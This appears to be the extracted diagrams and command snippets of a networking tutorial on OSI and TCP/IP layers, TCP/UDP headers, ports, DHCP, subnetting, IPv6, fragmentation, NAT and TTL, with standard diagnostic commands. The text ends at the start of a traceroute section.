UTF-16: 00 48 00 65 00 6C 00 6C 00 6F

User clicks link in browser

Application Layer (HTTP):
  GET /index.html HTTP/1.1
  Host: example.com

Presentation Layer:
  Encrypt with TLS (HTTPS)

Session Layer:
  Maintain HTTPS session

Transport Layer:
  TCP connection to port 443

Network Layer:
  Route to example.com's IP

Data Link Layer:
  Frame with MAC address

Physical Layer:
  Transmit bits on wire

Layer 7: User Data
            ↓
Layer 4: [TCP Header][Data] → Segment
            ↓
Layer 3: [IP Header][TCP Header][Data] → Packet
            ↓
Layer 2: [Eth Header][IP Header][TCP][Data][Eth Trailer] → Frame
            ↓
Layer 1: 010101110101... → Bits

Layer 1: Receive bits
            ↓
Layer 2: Remove Ethernet header/trailer → Frame
            ↓
Layer 3: Remove IP header → Packet
            ↓
Layer 4: Remove TCP header → Segment
            ↓
Layer 7: Deliver data to application

Layer 7-5: Data
Layer 4:   Segment (TCP) / Datagram (UDP)
Layer 3:   Packet
Layer 2:   Frame
Layer 1:   Bits

Layer 7 (Application):
  - SMTP client: "MAIL FROM: alice@example.com"
  - Creates email message

Layer 6 (Presentation):
  - Encode as ASCII
  - Compress if needed
  - Encrypt with TLS

Layer 5 (Session):
  - Establish SMTP session
  - Authenticate with mail server

Layer 4 (Transport):
  - TCP connection to port 25
  - Segment data
  - Add source/dest ports

Layer 3 (Network):
  - Add IP header
  - Source: 192.168.1.10
  - Dest: 10.0.0.5 (mail server)
  - Route to destination

Layer 2 (Data Link):
  - Add MAC addresses
  - Create Ethernet frame
  - Error checking (CRC)

Layer 1 (Physical):
  - Convert to electrical signals
  - Transmit on cable

Symptoms: No connectivity, link down
Check:
  - Cable plugged in?
  - Cable damaged?
  - Port lights on?
  - Power on device?

Tools: Visual inspection, cable tester

Symptoms: Can't reach other devices on LAN
Check:
  - MAC address conflicts?
  - Switch port errors?
  - VLAN configuration?
  - ARP table correct?

Tools: arp -a, show mac address-table

Symptoms: Can't reach remote networks
Check:
  - IP address correct?
  - Subnet mask correct?
  - Gateway configured?
  - Routing table?

Tools: ping, traceroute, ip route

Symptoms: Can't connect to specific service
Check:
  - Port open?
  - Firewall blocking?
  - Service running?
  - TCP handshake succeeds?

Tools: telnet, nc (netcat), netstat

Symptoms: Service accessible but not working
Check:
  - Application configuration?
  - Authentication failing?
  - Correct protocol version?
  - Application logs?

Tools: curl, application-specific tools

OSI Layer          Protocol Examples
---------------------------------------
7 - Application    HTTP, FTP, SMTP, DNS
6 - Presentation   SSL/TLS, JPEG, MPEG
5 - Session        NetBIOS, RPC
4 - Transport      TCP, UDP
3 - Network        IP, ICMP, OSPF, BGP
2 - Data Link      Ethernet, WiFi, PPP
1 - Physical       10BASE-T, 100BASE-TX

OSI Model              TCP/IP Model
-----------------------------------------
7 - Application  
6 - Presentation → Application
5 - Session      
4 - Transport    → Transport
3 - Network      → Internet
2 - Data Link    
1 - Physical     → Network Access

Change one layer without affecting others
Example: Switch from WiFi to Ethernet
         (Only Layer 1/2 change, others unaffected)

Multiple vendors can interoperate
Example: Any HTTP client can talk to any HTTP server

Systematic approach from bottom up:
1. Physical: Cable OK?
2. Data Link: Connected to switch?
3. Network: Can ping gateway?
4. Transport: Port open?
5. Application: Service running?

Developers focus on their layer
Example: Web developer uses HTTP (Layer 7)
         Doesn't need to know about TCP internals

OSI Model (7 Layers)           TCP/IP Model (4 Layers)
---------------------------------------------------
7. Application           
6. Presentation          →  4. Application
5. Session               
4. Transport             →  3. Transport
3. Network               →  2. Internet
2. Data Link             
1. Physical              →  1. Network Access

Data from Internet Layer

      ↓

Add Ethernet Header:
  [Dest MAC: AA:BB:CC:DD:EE:FF]
  [Src MAC: 11:22:33:44:55:66]
  [Type: 0x0800 (IPv4)]
  [Data]
  [CRC Checksum]

      ↓

Convert to bits and transmit

Source: 192.168.1.10 → Destination: 10.0.0.5

IP Layer adds header:
  [Version: 4]
  [TTL: 64]
  [Protocol: 6 (TCP)]
  [Source IP: 192.168.1.10]
  [Dest IP: 10.0.0.5]
  [Data]

Router at each hop:
1. Decrements TTL
2. Checks routing table
3. Forwards to next hop
4. Recalculates checksum

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          Source Port          |       Destination Port        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                        Sequence Number                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                    Acknowledgment Number                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Offset|  Res  |     Flags     |            Window             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           Checksum            |         Urgent Pointer        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            Data                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

Client                          Server
  |                                |
  | SYN (seq=100)                  |
  |------------------------------->|
  |                                |
  | SYN-ACK (seq=200, ack=101)     |
  |<-------------------------------|
  |                                |
  | ACK (seq=101, ack=201)         |
  |------------------------------->|
  |                                |
  | Connection Established         |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          Source Port          |       Destination Port        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            Length             |           Checksum            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            Data                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

Client                          Server
  |                                |
  | UDP Datagram                   |
  |------------------------------->|
  |                                |
  | No acknowledgment              |

Fire and forget!

Application Layer creates:

GET /index.html HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0
Accept: text/html

      ↓

Transport Layer (TCP):
  - Add TCP header
  - Source port: 54321
  - Dest port: 80
  - Establish connection

      ↓

Internet Layer (IP):
  - Add IP header
  - Resolve www.example.com to IP
  - Source: 192.168.1.10
  - Dest: 93.184.216.34

      ↓

Network Access Layer:
  - ARP for next hop MAC
  - Add Ethernet frame
  - Transmit bits

Step 1: Application creates data
  "GET /index.html HTTP/1.1\r\n..."

Step 2: Transport Layer adds header
  [TCP Header][HTTP Request] → TCP Segment

Step 3: Internet Layer adds header
  [IP Header][TCP Header][HTTP Request] → IP Packet

Step 4: Network Access adds header/trailer
  [Eth Header][IP][TCP][HTTP][Eth Trailer] → Ethernet Frame

Step 5: Convert to bits
  01001000110101... → Bits on wire

Step 1: Receive bits, extract frame
  [Eth Header][IP][TCP][HTTP][Eth Trailer]

Step 2: Check Ethernet checksum, remove header
  [IP Header][TCP Header][HTTP Request]

Step 3: Check IP checksum, route to TCP
  [TCP Header][HTTP Request]

Step 4: Process TCP segment, reassemble
  "GET /index.html HTTP/1.1\r\n..."

Step 5: Deliver to HTTP server application

User types: http://www.example.com

=== Application Layer ===
1. Browser resolves domain name
   DNS Query: "What's the IP of www.example.com?"
   DNS Response: "93.184.216.34"

2. Browser creates HTTP request
   GET / HTTP/1.1
   Host: www.example.com

=== Transport Layer ===
3. TCP connection to port 80
   - 3-way handshake
   - Establish connection
   - Segment data if needed

=== Internet Layer ===
4. Create IP packet
   - Source: 192.168.1.10
   - Dest: 93.184.216.34
   - Protocol: TCP (6)
   - Add to routing queue

5. Routing
   - Check routing table
   - Forward to default gateway
   - Each router forwards packet

=== Network Access Layer ===
6. Resolve next hop MAC (ARP)
   - "Who has 192.168.1.1?"
   - "192.168.1.1 is at AA:BB:CC:DD:EE:FF"

7. Create Ethernet frame
   - Dest MAC: Gateway's MAC
   - Src MAC: PC's MAC
   - Add checksum

8. Transmit on physical medium
   - Convert to electrical signals
   - Send on Ethernet cable

=== Server Processes Request ===
9. Server receives, decapsulates
10. HTTP server processes request
11. Sends response back

=== Browser Receives Response ===
12. Decapsulate all layers
13. Browser renders HTML

Application: DNS client
Transport: UDP port 53
Internet: IP packet to DNS server
Network Access: Ethernet to gateway

Query: www.example.com → 93.184.216.34

Application: SMTP client (port 25)
Transport: TCP connection
Internet: Route to mail server IP
Network Access: Frame to gateway

MAIL FROM: alice@example.com
RCPT TO: bob@example.com
DATA
Subject: Hello
...

Application: FTP client
Transport:
  - Control: TCP port 21
  - Data: TCP port 20
Internet: IP to FTP server
Network Access: Ethernet frames

Commands on port 21:
  USER alice
  PASS secret123
  RETR file.txt

Data transfer on port 20

20/21   FTP
22      SSH
23      Telnet
25      SMTP
53      DNS
67/68   DHCP
80      HTTP
110     POP3
143     IMAP
443     HTTPS

3306    MySQL
5432    PostgreSQL
6379    Redis
8080    HTTP alternate
8443    HTTPS alternate
27017   MongoDB

Client opens connection:
  Source: 192.168.1.10:54321 (dynamic)
  Dest: 93.184.216.34:80 (well-known)

# Set IP address
sudo ip addr add 192.168.1.100/24 dev eth0

# Set default gateway
sudo ip route add default via 192.168.1.1

# Set DNS server
echo "nameserver 8.8.8.8" >> /etc/resolv.conf

Client                          DHCP Server
  |                                |
  | DHCP Discover (broadcast)      |
  |------------------------------->|
  |                                |
  | DHCP Offer                     |
  |<-------------------------------|
  |   IP: 192.168.1.100            |
  |   Netmask: 255.255.255.0       |
  |   Gateway: 192.168.1.1         |
  |   DNS: 8.8.8.8                 |
  |                                |
  | DHCP Request                   |
  |------------------------------->|
  |                                |
  | DHCP ACK                       |
  |<-------------------------------|
  |                                |

Client now configured with:
  IP Address: 192.168.1.100
  Subnet Mask: 255.255.255.0
  Default Gateway: 192.168.1.1
  DNS Server: 8.8.8.8
  Lease Time: 24 hours

# Check physical connection
ip link show
ethtool eth0

# Check link status
cat /sys/class/net/eth0/carrier

Symptoms: No link light, cable unplugged

# Check ARP table
arp -a
ip neigh show

# Check switch port
show mac address-table

Symptoms: Can't reach local devices

# Check IP configuration
ip addr show
ifconfig

# Test gateway reachability
ping 192.168.1.1

# Check routing
ip route show
traceroute 8.8.8.8

Symptoms: No internet, can't reach remote hosts

# Check listening ports
netstat -tuln
ss -tuln

# Test port connectivity
telnet example.com 80
nc -zv example.com 80

# Check firewall
iptables -L
ufw status

Symptoms: Connection refused, timeout

# Test HTTP
curl -v http://example.com

# Test DNS
dig example.com
nslookup example.com

# Test SMTP
telnet mail.example.com 25

Symptoms: Service not responding correctly

Attacker sends packets with fake source IP
Victim: 10.0.0.5
Attacker pretends to be: 10.0.0.5

Attacker sends many SYN packets
Server waits for ACK (never comes)
Server resources exhausted

Attacker intercepts traffic between client and server
Can read or modify data

Provides:
  - Authentication Header (AH)
  - Encapsulating Security Payload (ESP)
  - Encryption and authentication

Used for VPNs

Encrypts application data
Provides:
  - Confidentiality (encryption)
  - Integrity (tampering detection)
  - Authentication (certificates)

Used for HTTPS, SMTPS, etc.

Default window: 65,535 bytes
With scaling: Up to 1 GB

Improves throughput on high-latency links

- Tahoe: Original algorithm
- Reno: Fast recovery
- CUBIC: Default in Linux (good for high-speed)
- BBR: Google's algorithm (optimal bandwidth)

# TCP statistics
netstat -s
ss -s

# Per-connection statistics
ss -ti

# Packet captures
tcpdump -i any -w capture.pcap

 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|Version|  IHL  |Type of Service|          Total Length         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         Identification        |Flags|      Fragment Offset    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  Time to Live |    Protocol   |         Header Checksum       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                       Source Address                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                    Destination Address                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                    Options (if IHL > 5)                       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            Data                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

Class A: 0.0.0.0     to 127.255.255.255   /8   (16 million hosts)
         Network: 8 bits, Host: 24 bits

Class B: 128.0.0.0   to 191.255.255.255   /16  (65,536 hosts)
         Network: 16 bits, Host: 16 bits

Class C: 192.0.0.0   to 223.255.255.255   /24  (254 hosts)
         Network: 24 bits, Host: 8 bits

Class D: 224.0.0.0   to 239.255.255.255   (Multicast)

Class E: 240.0.0.0   to 255.255.255.255   (Reserved)

10.0.0.0        - 10.255.255.255     (10/8 prefix)
172.16.0.0      - 172.31.255.255     (172.16/12 prefix)
192.168.0.0     - 192.168.255.255    (192.168/16 prefix)

Used in LANs, not routed on internet (NAT required)

0.0.0.0/8         - Current network (only valid as source)
127.0.0.0/8       - Loopback (127.0.0.1 = localhost)
169.254.0.0/16    - Link-local (APIPA, auto-config failed)
192.0.2.0/24      - Documentation/examples (TEST-NET-1)
198.18.0.0/15     - Benchmark testing
224.0.0.0/4       - Multicast
255.255.255.255   - Limited broadcast

192.168.1.0/24
            ^^
            Number of network bits

/24 = 255.255.255.0 netmask
24 bits for network, 8 bits for hosts
2^8 - 2 = 254 usable host addresses

Network: 192.168.1.0/24

Network Address:    192.168.1.0
First Usable:       192.168.1.1
Last Usable:        192.168.1.254
Broadcast Address:  192.168.1.255
Total Hosts:        256
Usable Hosts:       254

Original: 192.168.1.0/24 (254 hosts)

Split into 4 subnets (/26 each):
Subnet 1: 192.168.1.0/26    (192.168.1.1 - 192.168.1.62)
Subnet 2: 192.168.1.64/26   (192.168.1.65 - 192.168.1.126)
Subnet 3: 192.168.1.128/26  (192.168.1.129 - 192.168.1.190)
Subnet 4: 192.168.1.192/26  (192.168.1.193 - 192.168.1.254)

Each subnet: 62 usable hosts

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|Version| Traffic Class |           Flow Label                  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         Payload Length        |  Next Header  |   Hop Limit   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                                               |
+                         Source Address                        +
|                          (128 bits)                           |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                                               |
+                      Destination Address                      +
|                          (128 bits)                           |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

2001:0db8:0000:0042:0000:8a2e:0370:7334

# Remove leading zeros
2001:db8:0:42:0:8a2e:370:7334

# Replace consecutive zeros with ::
2001:db8:0:42::8a2e:370:7334

# Loopback
::1  (equivalent to 0:0:0:0:0:0:0:1)

# Unspecified
::  (equivalent to 0:0:0:0:0:0:0:0)

ff02::1    All nodes on link
ff02::2    All routers on link
ff02::1:2  All DHCP servers

MTU (Maximum Transmission Unit) varies by network:
- Ethernet: 1500 bytes
- WiFi: 2304 bytes
- PPPoE: 1492 bytes

Larger packets must be fragmented to fit MTU

Original packet: 3000 bytes (1500 MTU)

Fragment 1:
  Identification: 12345
  Flags: More Fragments (MF) = 1
  Offset: 0
  Data: 1480 bytes

Fragment 2:
  Identification: 12345
  Flags: MF = 1
  Offset: 185 (1480/8)
  Data: 1480 bytes

Fragment 3:
  Identification: 12345
  Flags: MF = 0 (last fragment)
  Offset: 370 (2960/8)
  Data: 40 bytes

Receiver reassembles using Identification and Offset

DF = 1: Don't fragment, drop if too large
       Send ICMP "Fragmentation Needed" back

Used for Path MTU Discovery

1. Check if destination is local (same subnet)
   → Send directly via ARP

2. If not local, find matching route:
   - Check routing table for most specific match
   - Use default gateway if no match

3. Send to next hop router

4. Repeat at each router until destination reached

Destination     Gateway         Netmask         Interface
0.0.0.0         192.168.1.1     0.0.0.0         eth0      (Default)
192.168.1.0     0.0.0.0         255.255.255.0   eth0      (Local)
10.0.0.0        192.168.1.254   255.0.0.0       eth0      (Route)

Routing table:
  10.0.0.0/8      → Gateway A
  10.1.0.0/16     → Gateway B
  10.1.2.0/24     → Gateway C

Packet to 10.1.2.5:
  Matches all three routes
  Most specific: /24
  → Use Gateway C

Source sets TTL = 64

Router 1: TTL = 63
Router 2: TTL = 62
Router 3: TTL = 61
...
Router N: TTL = 0 → Drop packet, send ICMP "Time Exceeded"

Linux:    64
Windows:  128
Cisco:    255

Can identify OS based on initial TTL

Send packet with TTL=1  → Router 1 responds
Send packet with TTL=2  → Router 2 responds
Send packet with TTL=3  → Router 3 responds
...
Maps the path to destination

# View IP configuration
ifconfig
ip addr show

# Assign IP address
sudo ifconfig eth0 192.168.1.100 netmask 255.255.255.0
sudo ip addr add 192.168.1.100/24 dev eth0

# Enable/disable interface
sudo ifconfig eth0 up
sudo ip link set eth0 up

# View IP configuration
ipconfig
ipconfig /all

# Renew DHCP lease
ipconfig /renew

# Release DHCP lease
ipconfig /release

# Test connectivity (ICMP Echo Request/Reply)
ping 192.168.1.1
ping -c 4 192.168.1.1  # Send 4 packets

# Test with specific packet size
ping -s 1400 192.168.1.1

# Set TTL
ping -t 10 192.168.1.1

# Linux
traceroute google.com

# Windows
tracert google.com

# UDP traceroute (Linux)
traceroute -U google.com

# ICMP traceroute
traceroute -I google.com

# Show routing table
netstat -r
route -n

# Show all connections
netstat -an

# Show listening ports
netstat -ln

# Show routing table
ip route show

# Add static route
sudo ip route add 10.0.0.0/8 via 192.168.1.254

# Delete route
sudo ip route del 10.0.0.0/8

# Add default gateway
sudo ip route add default via 192.168.1.1

Problem: IPv4 address exhaustion
Solution: Multiple private IPs share one public IP

Private Network (192.168.1.0/24)
  PC1: 192.168.1.10
  PC2: 192.168.1.11      →  NAT Router  →  Public IP: 203.0.113.5
  PC3: 192.168.1.12              ↓
                          Tracks connections

Outbound translation:
PC (192.168.1.10:5000) → NAT → Internet (203.0.113.5:6000)

Return traffic:
Internet (203.0.113.5:6000) → NAT → PC (192.168.1.10:5000)

Internet → Public IP:80 → NAT → Web Server (192.168.1.20:80)

External: 203.0.113.5:80
Internal: 192.168.1.20:80

PC1: 192.168.1.10:5000  →  203.0.113.5:6000
PC2: 192.168.1.11:5001  →  203.0.113.5:6001
PC3: 192.168.1.12:5002  →  203.0.113.5:6002

NAT tracks: Internal IP:Port ↔ Public Port

Internal IP:Port     External IP:Port    Destination
192.168.1.10:5000    203.0.113.5:6000    8.8.8.8:53
192.168.1.11:5001    203.0.113.5:6001    1.1.1.1:443
192.168.1.10:5002    203.0.113.5:6002    93.184.216.34:80

Client                          Server
  |                                |
  | ICMP Echo Request (Type 8)     |
  |------------------------------->|
  |                                |
  | ICMP Echo Reply (Type 0)       |
  |<-------------------------------|
  |                                |

Measures round-trip time (RTT)

Don't use /24 for everything
- Small office: /26 (62 hosts)
- Department: /24 (254 hosts)
- Campus: /16 (65,534 hosts)

192.168.1.1    - 192.168.1.10    Static (gateway, servers)
192.168.1.11   - 192.168.1.99    Static (printers, APs)
192.168.1.100  - 192.168.1.254   DHCP pool

Maintain IP address management (IPAM)
- Which IPs are assigned
- What devices use them
- DHCP ranges
- Static assignments

Never use public IPs internally
Use 10.x.x.x, 172.16-31.x.x, or 192.168.x.x

 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|Version|  IHL  |Type of Service|          Total Length         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         Identification        |Flags|      Fragment Offset    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  Time to Live |    Protocol   |         Header Checksum       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                       Source Address                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                    Destination Address                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                    Options (if IHL > 5)                       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            Data                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

Class A: 0.0.0.0     to 127.255.255.255   /8   (16,777,214 hosts)
         Network: 8 bits, Host: 24 bits
         First bit: 0
         Example: 10.0.0.0/8

Class B: 128.0.0.0   to 191.255.255.255   /16  (65,534 hosts)
         Network: 16 bits, Host: 16 bits
         First two bits: 10
         Example: 172.16.0.0/16

Class C: 192.0.0.0   to 223.255.255.255   /24  (254 hosts)
         Network: 24 bits, Host: 8 bits
         First three bits: 110
         Example: 192.168.1.0/24

Class D: 224.0.0.0   to 239.255.255.255   (Multicast)
         First four bits: 1110
         Used for multicast groups

Class E: 240.0.0.0   to 255.255.255.255   (Reserved)
         First four bits: 1111
         Reserved for experimental use

Problem: Wasteful allocation
- Small company needs 300 hosts
  - Class C (/24): Only 254 hosts (too small)
  - Class B (/16): 65,534 hosts (massive waste)

Solution: CIDR (Classless Inter-Domain Routing)
- Flexible subnet sizes
- Better address utilization

10.0.0.0        - 10.255.255.255     (10.0.0.0/8)
                                      16,777,216 addresses
                                      Typically used in large enterprises

172.16.0.0      - 172.31.255.255     (172.16.0.0/12)
                                      1,048,576 addresses
                                      Medium-sized networks

192.168.0.0     - 192.168.255.255    (192.168.0.0/16)
                                      65,536 addresses
                                      Home and small office networks

0.0.0.0/8         - Current network (only valid as source)
                    Used during boot before IP is configured

127.0.0.0/8       - Loopback addresses
                    127.0.0.1 = localhost (most common)
                    Packets sent to loopback never leave the host

169.254.0.0/16    - Link-local addresses (APIPA)
                    Auto-assigned when DHCP fails
                    169.254.0.0 and 169.254.255.255 reserved

192.0.2.0/24      - Documentation/examples (TEST-NET-1)
198.51.100.0/24   - Documentation (TEST-NET-2)
203.0.113.0/24    - Documentation (TEST-NET-3)
                    Safe to use in documentation, never routed

192.88.99.0/24    - 6to4 Relay Anycast (IPv6 transition)

198.18.0.0/15     - Benchmark testing
                    Network device testing

224.0.0.0/4       - Multicast (Class D)
                    224.0.0.0 - 239.255.255.255

255.255.255.255   - Limited broadcast
                    Sent to all hosts on local network segment

192.168.1.0/24
            ^^
            Number of network bits (subnet mask length)

/24 = 255.255.255.0 netmask
      24 bits for network, 8 bits for hosts
      2^8 = 256 total addresses
      2^8 - 2 = 254 usable host addresses
      (Network address and broadcast address reserved)

192.168.1.0/24

Binary:
11000000.10101000.00000001.00000000  (IP address)
11111111.11111111.11111111.00000000  (Subnet mask /24)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
24 network bits (1s)        ^^^^^^^^
                            8 host bits (0s)

Network portion: 192.168.1
Host portion: 0-255

Network: 192.168.1.0/24

Binary calculation:
IP:      11000000.10101000.00000001.00000000
Mask:    11111111.11111111.11111111.00000000
         ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^  Network bits
                                    ^^^^^^^^ Host bits

Network Address:    192.168.1.0      (all host bits = 0)
First Usable:       192.168.1.1      (first host)
Last Usable:        192.168.1.254    (last host)
Broadcast Address:  192.168.1.255    (all host bits = 1)

Total Addresses:    2^8 = 256
Usable Hosts:       256 - 2 = 254
                    (exclude network and broadcast)

/24 in binary:
11111111.11111111.11111111.00000000
^^^^^^^^ ^^^^^^^^ ^^^^^^^^ ^^^^^^^^
255      255      255      0

/26 in binary:
11111111.11111111.11111111.11000000
^^^^^^^^ ^^^^^^^^ ^^^^^^^^ ^^^^^^^^
255      255      255      192

Shortcut:
/24 = 256 - 2^(32-24) = 256 - 2^8 = 256 - 256 = 0 (last octet)
/26 = 256 - 2^(32-26) = 256 - 2^6 = 256 - 64 = 192 (last octet)

Original Network: 192.168.1.0/24 (254 usable hosts)

Requirement: Split into 4 equal subnets

Calculation:
- Need 4 subnets = 2^2 subnets
- Borrow 2 bits from host portion
- New mask: /24 + 2 = /26
- Each subnet: 2^6 = 64 addresses, 62 usable

Result:
Subnet 1: 192.168.1.0/26
  Network:    192.168.1.0
  First Host: 192.168.1.1
  Last Host:  192.168.1.62
  Broadcast:  192.168.1.63

Subnet 2: 192.168.1.64/26
  Network:    192.168.1.64
  First Host: 192.168.1.65
  Last Host:  192.168.1.126
  Broadcast:  192.168.1.127

Subnet 3: 192.168.1.128/26
  Network:    192.168.1.128
  First Host: 192.168.1.129
  Last Host:  192.168.1.190
  Broadcast:  192.168.1.191

Subnet 4: 192.168.1.192/26
  Network:    192.168.1.192
  First Host: 192.168.1.193
  Last Host:  192.168.1.254
  Broadcast:  192.168.1.255

Main Network: 10.0.0.0/8

Allocations:
Department A (needs 500 hosts): 10.0.0.0/23   (510 hosts)
Department B (needs 200 hosts): 10.0.2.0/24   (254 hosts)
Department C (needs 100 hosts): 10.0.3.0/25   (126 hosts)
Point-to-point link:             10.0.3.128/30 (2 hosts)
Server subnet:                   10.0.4.0/28   (14 hosts)

Benefits:
- Efficient address utilization
- Minimizes waste
- Flexible network design

Common MTU Values:
- Ethernet: 1500 bytes
- Wi-Fi: 2304 bytes
- PPPoE: 1492 bytes
- VPN: 1400 bytes (varies)
- Jumbo Frames: 9000 bytes

When packet > MTU:
- Must be fragmented to fit
- Or dropped if DF flag is set

Original Packet: 3000 bytes data + 20 byte header = 3020 bytes
MTU: 1500 bytes
Data per fragment: 1500 - 20 (header) = 1480 bytes

Fragment 1:
  IP Header (20 bytes)
  Identification: 12345
  Flags: MF = 1 (More Fragments)
  Fragment Offset: 0
  Total Length: 1500
  Data: 1480 bytes

Fragment 2:
  IP Header (20 bytes)
  Identification: 12345
  Flags: MF = 1
  Fragment Offset: 185 (1480/8 = 185)
  Total Length: 1500
  Data: 1480 bytes

Fragment 3:
  IP Header (20 bytes)
  Identification: 12345
  Flags: MF = 0 (Last Fragment)
  Fragment Offset: 370 (2960/8 = 370)
  Total Length: 60
  Data: 40 bytes

Receiver:
1. Receives all three fragments
2. Checks Identification field (12345) to group them
3. Uses Fragment Offset to order them
4. Reassembles when MF = 0 (last fragment received)

Fragment Offset is in 8-byte units:

Fragment 1: Offset 0     → Bytes 0-1479
Fragment 2: Offset 185   → Bytes 1480-2959 (185 × 8 = 1480)
Fragment 3: Offset 370   → Bytes 2960-2999 (370 × 8 = 2960)

Why 8-byte units?
- 13 bits for offset = max 8191
- 8191 × 8 = 65,528 bytes
- Covers max IP packet size (65,535 bytes)

DF = 0: Allow fragmentation
        Router can fragment if needed

DF = 1: Don't fragment
        Router drops packet if too large
        Sends ICMP "Fragmentation Needed" back to source

        ICMP Type 3, Code 4:
        - Includes MTU of the link
        - Source can adjust packet size

Used for Path MTU Discovery (PMTUD)

Process:
1. Source sends packet with DF=1 and large size
2. If too large, router drops and sends ICMP
3. Source reduces packet size and retries
4. Repeat until packet gets through
5. Source now knows the path MTU

Example:
Source → [MTU 1500] → Router A → [MTU 1400] → Router B → Dest

1. Send 1500-byte packet, DF=1
2. Router B drops it, sends ICMP: "Frag needed, MTU=1400"
3. Source retries with 1400-byte packets
4. Success! Path MTU = 1400

Problems:
1. Performance overhead (reassembly)
2. Lost fragment = entire packet lost
3. Difficulty for firewalls/NAT
4. Security concerns (fragment attacks)

Best Practices:
- Avoid fragmentation when possible
- Use TCP MSS clamping
- Enable PMTUD
- Consider smaller packet sizes

Without TTL:
Router A → Router B → Router C → Router A → ...
Packet loops forever, congesting network

With TTL:
Source sets TTL = 64
Router 1: Decrements to 63
Router 2: Decrements to 62
...
Router 64: Decrements to 0
           → Drops packet
           → Sends ICMP "Time Exceeded" to source

Operating System  Initial TTL
Linux             64
Windows           128
Cisco IOS         255
FreeBSD           64
Mac OS X          64
Solaris           255

Security Note:
Can fingerprint OS based on received TTL
Received TTL = Initial TTL - Hop Count

Packet journey from Source to Destination:

Source (TTL=64)
  |
  v
Router 1 (TTL=63) → Decrements TTL
  |
  v
Router 2 (TTL=62) → Decrements TTL
  |
  v
Router 3 (TTL=61) → Decrements TTL
  |
  v
Destination (TTL=60) → Receives packet

Reverse calculation:
- Received packet with TTL=60
- If initial TTL was 64
- Hop count = 64 - 60 = 4 hops

How traceroute works:

